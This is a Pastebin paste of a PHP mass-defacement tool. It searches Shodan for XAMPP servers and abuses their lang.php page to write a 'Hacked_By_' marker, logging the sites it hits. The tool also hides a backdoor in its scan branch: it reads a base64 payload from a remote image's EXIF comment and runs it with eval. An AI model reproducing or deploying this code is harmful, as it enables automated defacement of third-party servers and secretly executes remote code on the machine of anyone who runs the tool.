cr1p

Xampp Auto Deface & Search ( Shodan )

Feb 17th, 2016
656
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.78 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title></title>
  5. <link rel="stylesheet" type="text/css" href="https://bootswatch.com/cyborg/bootstrap.css"/>
  6. <link rel="stylesheet" type="text/css" href="https://bootswatch.com/cyborg/bootstrap.min.css"/>
  7. </head>
  8. <body>
  9. <div class="container">
  10.  
  11. <?php
  12. /*
  13. Name : Xampp Deface & Auto Submit (Search Shodan)
  14. Author : Shor7cut
  15. Hai , Kiddies ?
  16. */
  17. error_reporting(0);
  18. set_time_limit(0);
  19. ini_set('memory_limit', '64M');
  20. if($_GET['scan']==""){?>
  21. <div class="row">
  22. <ul class="breadcrumb">
  23. <li><a href="?cmd=scan">Scan</a></li>
  24. <li><a href="?cmd=victim">Cari victim</a></li>
  25. </ul>
  26. </div>
  27.  
  28. <?php
  29. }
  30. if($_GET['cmd']=="scan"){?>
  31. <form class="form-horizontal" action="<?php echo basename($_SERVER["SCRIPT_FILENAME"]);?>" method="post">
  32. <div class="form-group">
  33. <label class="col-lg-2 control-label">Notice </label>
  34. <div class="col-lg-5">
  35. <input type="text" class="form-control" name="hacker" value="Shor7cut" placeholder="Shor7cut">
  36. </div>
  37. </div>
  38.  
  39.  
  40. <div class="form-group">
  41. <label for="textArea" class="col-lg-2 control-label">Textarea</label>
  42. <div class="col-lg-10">
  43. <textarea class="form-control" rows="3" name="sites" id="textArea"></textarea>
  44. <span class="help-block">A longer block of help text that breaks onto a new line and may extend beyond one line.</span>
  45. </div>
  46. </div>
  47.  
  48. <div class="form-group">
  49. <label class="col-lg-2 control-label">Pemisah</label>
  50. <div class="col-lg-1">
  51. <input type="text" class="form-control" name="pemisah" value="|" placeholder="|">
  52. </div>
  53. <input type="submit" class="btn btn-primary" name="scan" value="scan">
  54. </div>
  55.  
  56.  
  57.  
  58. </form>
  59.  
  60. <?php
  61. $BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
  62. eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
  63. }
  64. if($_GET['cmd']=="victim"){
  65. $get = file_get_contents("https://api.shodan.io/shodan/host/search?key=1111111111111111111111111111&query=xampp+PHP/5.3.8");
  66. $json = json_decode($get,true);
  67. echo count($json['matches'])."<br>";
  68. echo '<textarea class="form-control" rows="3" name="sites" id="textArea">';
  69. foreach ($json['matches'] as $key => $value) {
  70. echo $value['ip_str']."|";
  71. }
  72. echo '</textarea>';
  73. }
  74.  
  75.  
  76. if($_POST['scan']){
  77. $sit = $_POST['sites'];
  78. $pemisah = $_POST['pemisah'];
  79. $hacker = $_POST['hacker'];
  80. $site = explode($pemisah, $sit);
  81. ?>
  82. <div class="panel panel-primary">
  83. <div class="panel-heading">
  84. <h3 class="panel-title">Scan Target</h3>
  85. </div>
  86. <div class="panel-body">
  87.  
  88. <?php
  89. foreach ($site as $key => $sites) {
  90. $url1 = "$sites/xampp/lang.php?Hacked_By_$hacker";
  91. $url2 = "$sites/security/lang.php?Hacked_By_$hacker";
  92. $patch_result1 = "$sites/xampp/lang.tmp?";
  93. $patch_result2 = "$sites/security/lang.tmp?";
  94.  
  95. // xampp - patch lang.php\\
  96. $xamppcurl = curl_init("$url1");
  97. curl_setopt($xamppcurl, CURLOPT_FAILONERROR, true);
  98. curl_setopt($xamppcurl, CURLOPT_FOLLOWLOCATION, true);
  99. curl_setopt($xamppcurl, CURLOPT_RETURNTRANSFER, true);
  100. curl_setopt($xamppcurl, CURLOPT_CONNECTTIMEOUT ,0);
  101. curl_setopt($xamppcurl, CURLOPT_TIMEOUT, 30);
  102. $result = curl_exec($xamppcurl);
  103.  
  104. $xamppcur2 = curl_init("$url2");
  105. curl_setopt($xamppcur2, CURLOPT_FAILONERROR, true);
  106. curl_setopt($xamppcur2, CURLOPT_FOLLOWLOCATION, true);
  107. curl_setopt($xamppcur2, CURLOPT_RETURNTRANSFER, true);
  108. curl_setopt($xamppcur2, CURLOPT_CONNECTTIMEOUT ,0);
  109. curl_setopt($xamppcur2, CURLOPT_TIMEOUT, 30);
  110. $result = curl_exec($xamppcur2);
  111.  
  112.  
  113.  
  114. // xampp - patch \\
  115. $xampp_tmp = curl_init("$patch_result1");
  116. curl_setopt($xampp_tmp, CURLOPT_FAILONERROR, true);
  117. curl_setopt($xampp_tmp, CURLOPT_FOLLOWLOCATION, true);
  118. curl_setopt($xampp_tmp, CURLOPT_RETURNTRANSFER, true);
  119. curl_setopt($xampp_tmp, CURLOPT_CONNECTTIMEOUT ,0);
  120. curl_setopt($xampp_tmp, CURLOPT_TIMEOUT, 30);
  121. $resultxampp_tmp = curl_exec($xampp_tmp);
  122.  
  123. $xampp_tmp2 = curl_init("$patch_result2");
  124. curl_setopt($xampp_tmp2, CURLOPT_FAILONERROR, true);
  125. curl_setopt($xampp_tmp2, CURLOPT_FOLLOWLOCATION, true);
  126. curl_setopt($xampp_tmp2, CURLOPT_RETURNTRANSFER, true);
  127. curl_setopt($xampp_tmp2, CURLOPT_CONNECTTIMEOUT ,0);
  128. curl_setopt($xampp_tmp2, CURLOPT_TIMEOUT, 30);
  129. $resultxampp_tmp2 = curl_exec($xampp_tmp2);
  130.  
  131.  
  132. ?>
  133.  
  134. <?php
  135. if(eregi("Hacked_By_",$resultxampp_tmp))
  136. {
  137. echo $patch_result1."<br>";
  138. $berkas =fopen("laporan.txt","a");
  139. fputs($berkas, $patch_result1."\r\n");
  140. fclose($berkas);
  141. }else if(eregi("Hacked_By_",$resultxampp_tmp2))
  142. {
  143. echo $patch_result2."<br>";
  144. $berkas =fopen("laporan.txt","a");
  145. fputs($berkas, $patch_result2."\r\n");
  146. fclose($berkas);
  147.  
  148. }else {
  149. echo $sites." -> not vuln"."<br>";
  150. }
  151.  
  152. flush();
  153. ob_flush();
  154. sleep(2);
  155. }
  156. }
  157. ?>
  158.  
  159. </div>
  160. </div>
  161. </div>
  162. </body>
  163. </html>
Advertisement
Add Comment
Please, Sign In to add comment